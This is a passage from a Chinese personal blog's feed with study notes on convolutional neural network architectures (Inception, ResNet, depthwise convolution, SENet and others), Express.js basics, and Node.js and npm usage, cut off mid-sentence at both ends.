field。容易理解,感受野的大小一定程度上决定了特征提取的准确度,看一小部分猜特征总是比看全局猜特征更加困难一点的。那么,2个<code>3*3</code>的卷积核的感受野是多少呢,是<code>3+2*1</code>为5,与一个<code>5*5</code>的大卷积核的感受野是相同的,同样,一个<code>11*11</code>大的卷积核,其感受野则与3个<code>3*3</code>的小卷积核综合使用相同。实践证明,虽然两种卷积核的大小相同,但是2个<code>3*3</code>的小卷积核不但参数更少,对特征值的提取效果也要更好,对这一点,我个人是这样理解的:两次卷积可以得到更为复杂的函数,就像在全神经网络中,一层神经网络将会被局限在解决线性可分问题中,而二层神经网络则可以解决更复杂的问题。一次方程的变量再多,比起二次方程其表现力还是不足。</p><p>由此我们得出结论:多个小卷积核可以与一个大卷积核感受野相同,且特征提取效果更好。</p></li><li><h4 id="单层卷积,多种卷积核——-Inception结构"><a href="#单层卷积,多种卷积核——-Inception结构" class="headerlink" title="单层卷积,多种卷积核—— Inception结构"></a><strong>单层卷积,多种卷积核—— Inception结构</strong></h4><p>传统的层叠式网络,基本上都是一个个卷积层的堆叠,每层只用一个尺寸的卷积核,例如VGG结构中使用了大量的3×3卷积层。事实上,同一层feature map可以分别使用多个不同尺寸的卷积核,以获得不同尺度的特征,再把这些特征结合起来,得到的特征往往比使用单一卷积核的要好,谷歌的GoogleNet,或者说Inception系列的网络,就使用了多个卷积核的结构:</p><p><img src="599fc4352dadb.jpg" alt=""></p><p>最初版本的Inception结构</p><p>如上图所示,一个输入的feature map分别同时经过1×1、3×3、5×5的卷积核的处理,得出的特征再组合起来,获得更佳的特征。但这个结构会存在一个严重的问题:参数量比单个卷积核要多很多,如此庞大的计算量会使得模型效率低下。这就引出了一个新的结构:</p></li><li><h4 id="怎样才能减少卷积层参数量?–-Bottleneck"><a href="#怎样才能减少卷积层参数量?–-Bottleneck" class="headerlink" title="怎样才能减少卷积层参数量?– Bottleneck"></a><strong>怎样才能减少卷积层参数量?– Bottleneck</strong></h4><p>发明GoogleNet的团队发现,如果仅仅引入多个尺寸的卷积核,会带来大量的额外的参数,受到Network In Network中1×1卷积核的启发,为了解决这个问题,他们往Inception结构中加入了一些1×1的卷积核,如图所示:</p><p><img src="599fc4db8a2d0.jpg" alt=""></p><p>加入1×1卷积核的Inception结构</p><p><img src="599fc4f4d4a51.jpg" alt=""></p><p>根据上图,我们来做个对比计算,假设输入feature map的维度为256维,要求输出维度也是256维。有以下两种操作:</p><ol><li>256维的输入直接经过一个3×3×256的卷积层,输出一个256维的feature map,那么参数量为:256×3×3×256 = 589,824</li><li>256维的输入先经过一个1×1×64的卷积层,再经过一个3×3×64的卷积层,最后经过一个1×1×256的卷积层,输出256维,参数量为:256×1×1×64 + 64×3×3×64 + 64×1×1×256 = 69,632。足足把第一种操作的参数量降低到九分之一!</li></ol><p>1×1卷积核也被认为是影响深远的操作,往后大型的网络为了降低参数量都会应用上1×1卷积核。</p></li><li><h4 id="越深的网络就越难训练吗?–-Resnet残差网络"><a href="#越深的网络就越难训练吗?–-Resnet残差网络" class="headerlink" title="越深的网络就越难训练吗?– Resnet残差网络"></a><strong>越深的网络就越难训练吗?– Resnet残差网络</strong></h4><p><img src="599fc512a9973.jpg" alt=""></p><p>ResNet skip connection</p><p>传统的卷积层层叠网络会遇到一个问题,当层数加深时,网络的表现越来越差,很大程度上的原因是因为当层数加深时,梯度消散得越来越严重,以至于反向传播很难训练到浅层的网络。为了解决这个问题,何凯明大神想出了一个“残差网络”,使得梯度更容易地流动到浅层的网络当中去,而且这种“skip connection”能带来更多的好处,这里可以参考一个PPT:<a href="https://link.zhihu.com/?target=http%3A//blog.csdn.net/malefactor/article/details/67637785">极深网络(ResNet/DenseNet): Skip Connection为何有效及其它</a> ,以及原作者的一篇文章(推荐):<a href="https://zhuanlan.zhihu.com/p/28124810?group_id=883267168542789632" target="_blank" rel="noopener">为什么ResNet和DenseNet可以这么深?一文详解残差块为何能解决梯度弥散问题。</a> ,大家可以结合下面的评论进行思考。</p></li><li><h4 id="卷积操作时必须同时考虑通道和区域吗?——DepthWise操作"><a href="#卷积操作时必须同时考虑通道和区域吗?——DepthWise操作" class="headerlink" title="卷积操作时必须同时考虑通道和区域吗?——DepthWise操作"></a><strong>卷积操作时必须同时考虑通道和区域吗?——DepthWise操作</strong></h4><p><img src="599fc542bba81.jpg" alt=""></p><p>标准的卷积过程可以看上图,一个2×2的卷积核在卷积时,<strong>对应图像区域中的所有通道均被同时考虑</strong>,问题在于,为什么一定要同时考虑图像区域和通道?我们为什么不能把通道和空间区域分开考虑?</p><p><img src="599fc5591e69c.jpg" alt=""></p><p>Xception网络就是基于以上的问题发明而来。我们首先对每一个通道进行各自的卷积操作,有多少个通道就有多少个过滤器。得到新的通道feature maps之后,这时再对这批新的通道feature maps进行标准的1×1跨通道卷积操作。这种操作被称为 <strong>“DepthWise convolution”</strong> ,缩写“DW”。</p><p>这种操作是相当有效的,在imagenet 1000类分类任务中已经超过了InceptionV3的表现,而且也同时减少了大量的参数,我们来算一算,假设输入通道数为3,要求输出通道数为256,两种做法:</p><p>1.直接接一个3×3×256的卷积核,参数量为:3×3×3×256 = 6,912</p><p>2.DW操作,分两步完成,参数量为:3×3×3 + 3×1×1×256 = 795,又把参数量降低到九分之一!</p><p>因此,一个depthwise操作比标准的卷积操作降低不少的参数量,同时论文中指出这个模型得到了更好的分类效果。</p><p><strong>EDIT:2017.08.25</strong></p><p>本文在发出12小时后,一位知乎用户私信了原作者,向他介绍了Depthwise和Pointwise的历史工作,而Xception和Mobilenet也引用了他们16年的工作,就是Min Wang et al 的<a href="https://link.zhihu.com/?target=https%3A//arxiv.org/pdf/1608.04337v1.pdf">Factorized Convolutional Neural Networks</a>,这篇论文的Depthwise中,每一通道输出的feature map(称为“基层”)可以不止一个,而Xception中的Depthwise separable Convolution, 正是这篇工作中“单一基层”的情况。推荐有兴趣的读者关注下他们的工作,这里有篇介绍博文:<a href="https://link.zhihu.com/?target=http%3A//blog.csdn.net/shenxiaolu1984/article/details/52266391">【深度学习】卷积层提速Factorized Convolutional Neural Networks</a>。而最早关于separable convolution的介绍,Xception作者提到,应该追溯到Lau- rent Sifre 2014年的工作 <a href="https://link.zhihu.com/?target=http%3A//www.di.ens.fr/data/publications/papers/phd_sifre.pdf">Rigid-Motion Scattering For Image Classification</a> 6.2章节。</p></li><li><h4 id="分组卷积能否对通道进行随机分组?–-ShuffleNet"><a href="#分组卷积能否对通道进行随机分组?–-ShuffleNet" class="headerlink" title="分组卷积能否对通道进行随机分组?– ShuffleNet"></a><strong>分组卷积能否对通道进行随机分组?– ShuffleNet</strong></h4><p>在AlexNet的Group Convolution当中,特征的通道被平均分到不同组里面,最后再通过两个全连接层来融合特征,这样一来,就只能在最后时刻才融合不同组之间的特征,对模型的泛化性是相当不利的。为了解决这个问题,ShuffleNet在每一次层叠这种Group conv层前,都进行一次channel shuffle,shuffle过的通道被分配到不同组当中。进行完一次group conv之后,再一次channel shuffle,然后分到下一层组卷积当中,以此循环。</p><p><img src="599fc59d6888f.jpg" alt="img"></p><p>来自ShuffleNet论文</p><p>经过channel shuffle之后,Group conv输出的特征能考虑到更多通道,输出的特征自然代表性就更高。另外,AlexNet的分组卷积,实际上是标准卷积操作,而在ShuffleNet里面的分组卷积操作是depthwise卷积,因此结合了通道洗牌和分组depthwise卷积的ShuffleNet,能得到超少量的参数以及超越mobilenet、媲美AlexNet的准确率!</p><p>另外值得一提的是,微软亚洲研究院MSRA最近也有类似的工作,他们提出了一个IGC单元(Interleaved Group Convolution),即通用卷积神经网络交错组卷积,形式上类似进行了两次组卷积,Xception 模块可以看作交错组卷积的一个特例,特别推荐看看这篇文章:<a href="https://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzAwMTA3MzM4Nw%3D%3D%26mid%3D2649441412%26idx%3D1%26sn%3D76b8e24616a4cdc07fbf985798ef4942%26chksm%3D82c0ad00b5b724163561a9174f8213d365ca87f5d73c7ec278ac358293b55e7dcb9e488b1eb8%26mpshare%3D1%26scene%3D1%26srcid%3D0731zmN8ulFwvXY4HRh8vpKs%23rd">王井东详解ICCV 2017入选论文:通用卷积神经网络交错组卷积</a></p><p><strong>要注意的是,Group conv是一种channel分组的方式,Depthwise +Pointwise是卷积的方式,只是ShuffleNet里面把两者应用起来了。因此Group conv和Depthwise +Pointwise并不能划等号。</strong></p></li><li><h4 id="通道间的特征都是平等的吗?-–-SEnet"><a href="#通道间的特征都是平等的吗?-–-SEnet" class="headerlink" title="通道间的特征都是平等的吗? – SEnet"></a><strong>通道间的特征都是平等的吗? – SEnet</strong></h4><p>无论是在Inception、DenseNet或者ShuffleNet里面,我们对所有通道产生的特征都是不分权重直接结合的,<strong>那为什么要认为所有通道的特征对模型的作用就是相等的呢?</strong> 这是一个好问题,于是,ImageNet2017 冠军SEnet就出来了。</p><p><img src="599fc5c7ceead.jpg" alt="img"></p><p>SEnet 结构</p><p>一组特征在上一层被输出,这时候分两条路线,第一条直接通过,第二条首先进行Squeeze操作(Global Average Pooling),把每个通道2维的特征压缩成一个1维,从而得到一个特征通道向量(每个数字代表对应通道的特征)。然后进行Excitation操作,把这一列特征通道向量输入两个全连接层和sigmoid,建模出特征通道间的相关性,<strong>得到的输出其实就是每个通道对应的权重</strong>,把这些权重通过Scale乘法通道加权到原来的特征上(第一条路),这样就完成了特征通道的权重分配。作者详细解释可以看这篇文章:<a href="https://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzA3MzI4MjgzMw%3D%3D%26mid%3D2650729486%26idx%3D3%26sn%3D5b2b6f0e7443ecf0971d4743d5480bb6%26chksm%3D871b2870b06ca166bc18413060898886db534c2b5ade468f832d3f85d5d75549f15293cea6cd%26mpshare%3D1%26scene%3D1%26srcid%3D0822wk5DEWG7YU89UZr1yEup%23rd">专栏 | Momenta详解ImageNet 2017夺冠架构SENet</a></p></li><li><h4 id="能否让固定大小的卷积核看到更大范围的区域?–-Dilated-convolution"><a href="#能否让固定大小的卷积核看到更大范围的区域?–-Dilated-convolution" class="headerlink" title="能否让固定大小的卷积核看到更大范围的区域?– Dilated convolution"></a><strong>能否让固定大小的卷积核看到更大范围的区域?– Dilated convolution</strong></h4><p>标准的3×3卷积核只能看到对应区域3×3的大小,但是为了能让卷积核看到更大的范围,dilated conv使其成为了可能。dilated conv原论文中的结构如图所示:</p><p><img src="599fc5e74b010.jpg" alt="img"></p><p>上图b可以理解为卷积核大小依然是3×3,但是每个卷积点之间有1个空洞,也就是在绿色7×7区域里面,只有9个红色点位置作了卷积处理,其余点权重为0。这样即使卷积核大小不变,但它看到的区域变得更大了。详细解释可以看这个回答:<a href="https://www.zhihu.com/question/54149221" target="_blank" rel="noopener">如何理解空洞卷积(dilated convolution)?</a></p></li><li><h4 id="卷积核形状一定是矩形吗?–-Deformable-convolution-可变形卷积核"><a href="#卷积核形状一定是矩形吗?–-Deformable-convolution-可变形卷积核" class="headerlink" title="卷积核形状一定是矩形吗?– Deformable convolution 可变形卷积核"></a><strong>卷积核形状一定是矩形吗?– Deformable convolution 可变形卷积核</strong></h4><p><img src="599fc5fbe5e2a.jpg" alt="img"></p><p>图来自微软亚洲研究院公众号</p><p>传统的卷积核一般都是长方形或正方形,但MSRA提出了一个相当反直觉的见解,<strong>认为卷积核的形状可以是变化的,变形的卷积核能让它只看感兴趣的图像区域</strong> ,这样识别出来的特征更佳。</p><p><img src="599fc6201c611.jpg" alt="img"></p><p>图来自微软亚洲研究院公众号要做到这个操作,可以直接在原来的过滤器前面再加一层过滤器,这层过滤器学习的是下一层卷积核的位置偏移量(offset),这样只是增加了一层过滤器,或者直接把原网络中的某一层过滤器当成学习offset的过滤器,这样实际增加的计算量是相当少的,但能实现可变形卷积核,识别特征的效果更好。详细MSRA的解读可以看这个链接:<a href="https://link.zhihu.com/?target=http%3A//weibo.com/ttarticle/p/show%3Fid%3D2309404116774126794221">可变形卷积网络:计算机新“视”界。</a></p></li></ul></li></ul><ul><li><h3 id="激活层"><a href="#激活层" class="headerlink" title="激活层"></a><strong>激活层</strong></h3><p>把思路从过于复杂前沿的卷积核中扯回来,继续下一步。我们用激活层先将卷积层提取出的特征符合程度矩阵进行一次筛选,通常应用激活函数<strong>Relu</strong>,直接给出函数图像:<br><img src="http://upload-images.jianshu.io/upload_images/2256672-0ac9923bebd3c9dd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/640" alt=""><br>至于为什么选择这个激活函数呢?</p><blockquote><ul><li><strong>速度快</strong> 和sigmoid函数需要计算指数和倒数相比,relu函数其实就是一个max(0,x),计算代价小很多。</li></ul></blockquote><ul><li><strong>减轻梯度消失问题</strong> 回忆一下计算梯度的公式。其中,是sigmoid函数的导数。在使用反向传播算法进行梯度计算时,每经过一层sigmoid神经元,梯度就要乘上一个。从下图可以看出,函数最大值是1/4。因此,乘一个会导致梯度越来越小,这对于深层网络的训练是个很大的问题。而relu函数的导数是1,不会导致梯度变小。当然,激活函数仅仅是导致梯度减小的一个因素,但无论如何在这方面relu的表现强于sigmoid。使用relu激活函数可以让你训练更深的网络。</li></ul></li><li><p><strong>稀疏性</strong> 通过对大脑的研究发现,大脑在工作的时候只有大约5%的神经元是激活的,而采用sigmoid激活函数的人工神经网络,其激活率大约是50%。有论文声称人工神经网络在15%-30%的激活率时是比较理想的。因为relu函数在输入小于0时是完全不激活的,因此可以获得一个更低的激活率。</p></li><li><h3 id="池化层"><a href="#池化层" class="headerlink" title="池化层"></a><strong>池化层</strong></h3><p>所谓的池化,也就是采取样本,他的好处在本文一开头就已经说明了。通常有两种采样方式:选取一定范围内的<strong>最大值</strong>,或者选取一定范围内的<strong>平均值</strong>,比如下图池化,通过选取一定范围内的最大值,将16个元素成功压缩到了4个:<br><img src="http://upload-images.jianshu.io/upload_images/2256672-03bfc7683ad2e3ad.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/640" alt=""></p></li><li><h3 id="全连接层"><a href="#全连接层" class="headerlink" title="全连接层"></a><strong>全连接层</strong></h3></li></ul><p>到了这一步,我们已经得到了一个合适的原图像是否符合特定特征的符合程度矩阵,只要通过这个矩阵来判断原图像到底是一个戴眼镜的人还是一只小狗,也就是形成分类,最终输出判断结果,就用知其然而不知其所以然的全连接神经网络进行训练即可,需要说明的是,虽然全连接神经网络看起来的确很神经,他背后的逻辑也只不过是一个可以实现任意一种输入输出功能对应关系的黑盒罢了。</p><ul><li><h3 id="卷积神经网络的训练"><a href="#卷积神经网络的训练" class="headerlink" title="卷积神经网络的训练"></a><strong>卷积神经网络的训练</strong></h3><p>理解了卷积神经网络的原理后,就可以更好的膜拜大佬的博客了,直接给出<a href="https://www.zybuluo.com/hanbingtao/note/485480" target="_blank" rel="noopener">传送门</a></p></li></ul><hr>]]></content>
<summary type="html">
<p>简单易懂的博客:<a href="https://www.zybuluo.com/hanbingtao/note/433855" target="_blank" rel="noopener">https://www.zybuluo.com/hanbingtao/note/4
</summary>
<category term="人工智能" scheme="https://iwannatobehappy.github.io/tags/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"/>
<category term="深度学习" scheme="https://iwannatobehappy.github.io/tags/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/"/>
</entry>
<entry>
<title>Express学习笔记</title>
<link href="https://iwannatobehappy.github.io/2019/02/18/Express%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<id>https://iwannatobehappy.github.io/2019/02/18/Express%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
<published>2019-02-18T06:06:26.000Z</published>
<updated>2019-03-20T08:40:30.453Z</updated>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>初学建议看视频:<a href="https://www.bilibili.com/video/av16249662/" target="_blank" rel="noopener">观看建议两倍速</a></p><p><a href="http://www.runoob.com/nodejs/nodejs-express-framework.html" target="_blank" rel="noopener">教材搬迁来源</a><br>Express 是一个简洁而灵活的 node.js Web应用框架, 提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具。<br>使用 Express 可以快速地搭建一个完整功能的网站。<br>Express 框架核心特性:</p><ul><li>可以设置中间件来响应 HTTP 请求。</li><li>定义了路由表用于执行不同的 HTTP 请求动作。</li><li>可以通过向模板传递参数来动态渲染 HTML 页面。<br>官网:<a href="http://expressjs.com/" target="_blank" rel="noopener">http://expressjs.com/</a><br>中文文档:<a href="https://github.com/bajian/express_api_4.x_chinese/blob/master/Express_4.x_API_Chinese.md" target="_blank" rel="noopener">https://github.com/bajian/express_api_4.x_chinese/blob/master/Express_4.x_API_Chinese.md</a><br>好看一点的中文文档那个:<a href="https://www.runoob.com/w3cnote/express-4-x-api.html#toc_20" target="_blank" rel="noopener">https://www.runoob.com/w3cnote/express-4-x-api.html#toc_20</a></li></ul><a id="more"></a><h1 id="方法目录"><a href="#方法目录" class="headerlink" title="方法目录"></a>方法目录</h1><h2 id="app"><a href="#app" class="headerlink" title="app"></a>app</h2><p>express()用来创建一个Express的程序。express()方法是express模块导出的顶层方法。<br>app对象一般用来表示Express程序。通过调用Express模块导出的顶层的express()方法来创建它:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var express = require('express');</span><br><span class="line">var app = express();</span><br></pre></td></tr></table></figure><p>app 对象具有以下的方法:</p><ul><li>路由HTTP请求;具体可以看app.METHOD和app.param这两个例子。</li><li>配置中间件;具体请看app.route。</li><li>渲染HTML视图;具体请看app.render。</li><li>注册模板引擎;具体请看app.engine。</li></ul><h3 id="属性"><a href="#属性" class="headerlink" title="属性"></a>属性</h3><h4 id="app-locals"><a href="#app-locals" class="headerlink" title="app.locals"></a>app.locals</h4><p>app.locals对象是一个javascript对象,它的属性就是程序本地的变量。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">app.locals.title</span><br><span class="line">// => 'My App'</span><br><span class="line">app.locals.email</span><br><span class="line">// => '[email protected]'</span><br></pre></td></tr></table></figure><h4 id="app-mountpath"><a href="#app-mountpath" class="headerlink" title="app.mountpath"></a>app.mountpath</h4><p>app.mountpath属性是子程序挂载的路径模式。</p><blockquote><p>一个子程序是一个express的实例,其可以被用来作为路由句柄来处理请求。</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var express = require('express');</span><br><span class="line">var app = express(); // the main app</span><br><span class="line">var admin = express(); // the sub app</span><br><span class="line">admin.get('/', function(req, res) {</span><br><span class="line"> console.log(admin.mountpath); // /admin</span><br><span class="line"> res.send('Admin Homepage');</span><br><span class="line">});</span><br><span class="line">app.use('/admin', admin); // mount the sub app</span><br></pre></td></tr></table></figure><h3 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h3><h4 id="app-all-path-callback-callback-…"><a href="#app-all-path-callback-callback-…" class="headerlink" title="app.all(path, callback[, callback …]"></a>app.all(path, callback[, callback …]</h4><p>对路由进行完整的匹配,为一条路径加载中间件。<br>为所有路径加载中间件requireAuthentication, loadUser:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">//app.all('*', requireAuthentication, loadUser);</span><br><span class="line">app.all('*', requireAuthentication);</span><br><span class="line">app.all('*', loadUser);</span><br></pre></td></tr></table></figure><h4 id="app-delete-path-callback-callback-…"><a href="#app-delete-path-callback-callback-…" class="headerlink" title="app.delete(path, callback[, callback …])"></a>app.delete(path, callback[, callback …])</h4><p>待续</p><h1 id=""><a href="#" class="headerlink" title=""></a></h1>]]></content>
<summary type="html">
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>初学建议看视频:<a href="https://www.bilibili.com/video/av16249662/" target="_blank" rel="noopener">观看建议两倍速</a></p>
<p><a href="http://www.runoob.com/nodejs/nodejs-express-framework.html" target="_blank" rel="noopener">教材搬迁来源</a><br>Express 是一个简洁而灵活的 node.js Web应用框架, 提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具。<br>使用 Express 可以快速地搭建一个完整功能的网站。<br>Express 框架核心特性:</p>
<ul>
<li>可以设置中间件来响应 HTTP 请求。</li>
<li>定义了路由表用于执行不同的 HTTP 请求动作。</li>
<li>可以通过向模板传递参数来动态渲染 HTML 页面。<br>官网:<a href="http://expressjs.com/" target="_blank" rel="noopener">http://expressjs.com/</a><br>中文文档:<a href="https://github.com/bajian/express_api_4.x_chinese/blob/master/Express_4.x_API_Chinese.md" target="_blank" rel="noopener">https://github.com/bajian/express_api_4.x_chinese/blob/master/Express_4.x_API_Chinese.md</a><br>好看一点的中文文档那个:<a href="https://www.runoob.com/w3cnote/express-4-x-api.html#toc_20" target="_blank" rel="noopener">https://www.runoob.com/w3cnote/express-4-x-api.html#toc_20</a></li>
</ul>
</summary>
<category term="网页" scheme="https://iwannatobehappy.github.io/tags/%E7%BD%91%E9%A1%B5/"/>
<category term="Nodejs" scheme="https://iwannatobehappy.github.io/tags/Nodejs/"/>
</entry>
<entry>
<title>nodejs学习笔记</title>
<link href="https://iwannatobehappy.github.io/2019/01/30/nodejs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<id>https://iwannatobehappy.github.io/2019/01/30/nodejs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
<published>2019-01-30T02:02:53.000Z</published>
<updated>2019-02-18T06:04:24.301Z</updated>
<content type="html"><![CDATA[<p>自学参考 <a href="http://www.runoob.com/nodejs/nodejs-tutorial.html" target="_blank" rel="noopener">http://www.runoob.com/nodejs/nodejs-tutorial.html</a></p><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>简单的说 Node.js 就是运行在服务端的 JavaScript。<br>Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。<br>Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。</p><a id="more"></a><hr><h1 id="大览"><a href="#大览" class="headerlink" title="大览"></a>大览</h1><p>nodejs通常由3个部分组成:</p><ol><li><strong>引入required模块:</strong>使用require指令载入Node.js模块</li><li><strong>创建服务器:</strong>服务器可以监听客户端的请求</li><li><strong>接收和响应请求:</strong>服务器创建后,客户端通过浏览器或终端发送HTTP请求,服务器接收请求后返回响应数据</li></ol><h2 id="helloworld"><a href="#helloworld" class="headerlink" title="helloworld"></a>helloworld</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line"></span><br><span class="line">http.createServer(function (request, response) {</span><br><span class="line"></span><br><span class="line"> // 发送 HTTP 头部 </span><br><span class="line"> // HTTP 状态值: 200 : OK</span><br><span class="line"> // 内容类型: text/plain</span><br><span class="line"> response.writeHead(200, {'Content-Type': 'text/plain'});</span><br><span class="line"></span><br><span class="line"> // 发送响应数据 "Hello World"</span><br><span class="line"> response.end('Hello World\n');</span><br><span class="line">}).listen(8888);</span><br><span class="line">// createServer 函数会返回一个对象,这个对象有一个叫做 listen 的方法,这个方法有一个数值参数, 指定这个 HTTP 服务器监听的端口号。</span><br><span class="line"></span><br><span class="line">// 终端打印如下信息</span><br><span class="line">console.log('Server running at http://127.0.0.1:8888/');</span><br></pre></td></tr></table></figure><p>代码运行演示如下:<br> <img src="http://www.runoob.com/wp-content/uploads/2014/03/node-hello.gif" alt="helloworld"></p><hr><h1 id="模块系统"><a href="#模块系统" class="headerlink" title="模块系统"></a>模块系统</h1><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>为了让Node.js的文件可以相互调用,Node.js提供了一个简单的模块系统。<br>模块是Node.js 应用程序的基本组成部分,文件和模块是一一对应的。换言之,一个 Node.js 文件就是一个模块,这个文件可能是JavaScript 代码、JSON 或者编译过的C/C++ 扩展。</p><h2 id="NPM-包管理工具"><a href="#NPM-包管理工具" class="headerlink" title="NPM 包管理工具"></a>NPM 包管理工具</h2><p>NPM是随同NodeJS一起安装的包管理工具,能解决NodeJS代码部署上的很多问题,常见的使用场景有以下几种:</p><ul><li>允许用户从NPM服务器下载别人编写的第三方包到本地使用。</li><li>允许用户从NPM服务器下载并安装别人编写的命令行程序到本地使用。</li><li>允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用。</li></ul><p>npm自身更新命令:<br><code>$ sudo npm install npm -g</code>-Unix<br><code>npm install npm -g</code>-Window<br><code>cnpm install npm -g</code>-Window 淘宝镜像</p><p>使用npm管理模块:</p><ul><li><strong>本地安装</strong> : <code>npm install <Moudle Name></code><br>安装好后包存放于当前目录下的 node_modules 目录中,因此在代码中只需要通过 require 方式就好,无需指定第三方包路径。如:<code>var express = require('express');</code></li><li><strong>全局安装</strong>: <code>npm install <Moudle Name> -g</code><br>安装好后包存放于 /usr/local 下或者你 node 的安装目录,在代码中同样只需要通过 require 方式就好,无需指定第三方包路径。</li><li><strong>卸载模块</strong> : <code>npm uninstall <Moudle Name></code></li><li><strong>更新模块</strong> : <code>npm update <Moudle Name></code></li><li><strong>搜索模块</strong> : <code>npm search <Moudle Name></code></li><li><strong>创建模块</strong> : 如果你想创建自己的模块以及发布模块,可以参照以下代码初始化包,创建时自动要求输入包属性生成package.json文件<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">$ npm init</span><br><span class="line">This utility will walk you through creating a package.json file.</span><br><span class="line">It only covers the most common items, and tries to guess sensible defaults.</span><br><span class="line"></span><br><span class="line">See `npm help json` for definitive documentation on these fields</span><br><span class="line">and exactly what they do.</span><br><span class="line"></span><br><span class="line">Use `npm install <pkg> --save` afterwards to install a package and</span><br><span class="line">save it as a dependency in the package.json file.</span><br><span class="line"></span><br><span class="line">Press ^C at any time to quit.</span><br><span class="line">name: (node_modules) runoob # 模块名</span><br><span class="line">version: (1.0.0) </span><br><span class="line">description: Node.js 测试模块(www.runoob.com) # 描述</span><br><span class="line">entry point: (index.js) </span><br><span class="line">test command: make test</span><br><span class="line">git repository: https://github.com/runoob/runoob.git # Github 地址</span><br><span class="line">keywords: </span><br><span class="line">author: </span><br><span class="line">license: (ISC) </span><br><span class="line">About to write to ……/node_modules/package.json: # 生成地址</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> "name": "runoob",</span><br><span class="line"> "version": "1.0.0",</span><br><span class="line"> "description": "Node.js 测试模块(www.runoob.com)",</span><br><span class="line"> ……</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Is this ok? (yes) yes</span><br></pre></td></tr></table></figure>接下来我们可以使用以下命令在 npm 资源库中注册用户(使用邮箱注册):<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ npm adduser</span><br><span class="line">Username: mcmohd</span><br><span class="line">Password:</span><br><span class="line">Email: (this IS public) [email protected]</span><br></pre></td></tr></table></figure>接下来我们就用以下命令来发布模块:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ npm publish</span><br></pre></td></tr></table></figure>如果你以上的步骤都操作正确,你就可以跟其他模块一样使用 npm 来安装。</li></ul><h3 id="其他命令"><a href="#其他命令" class="headerlink" title="其他命令"></a>其他命令</h3><p>除了可以在<a href="https://npmjs.org/doc/" target="_blank" rel="noopener">npmjs.org/doc/</a>查看官方文档外,这里再介绍一些NPM常用命令。<br>NPM提供了很多命令,例如install和publish,使用npm help可查看所有命令。</p><ul><li>使用npm help <command>可查看某条命令的详细帮助,例如npm help install。</li><li>在package.json所在目录下使用npm install . -g可先在本地安装当前命令行程序,可用于发布前的本地测试。</li><li>使用npm update <package>可以把当前目录下node_modules子目录里边的对应模块更新至最新版本。</li><li>使用npm update <package> -g可以把全局安装的对应命令行程序更新至最新版。</li><li>使用npm cache clear可以清空NPM本地缓存,用于对付使用相同版本号发布新版本代码的人。</li><li>使用npm unpublish <package>@<version>可以撤销发布自己发布过的某个版本代码。</li></ul><h3 id="淘宝-NPM-镜像"><a href="#淘宝-NPM-镜像" class="headerlink" title="淘宝 NPM 镜像"></a>淘宝 NPM 镜像</h3><p>大家都知道国内直接使用 npm 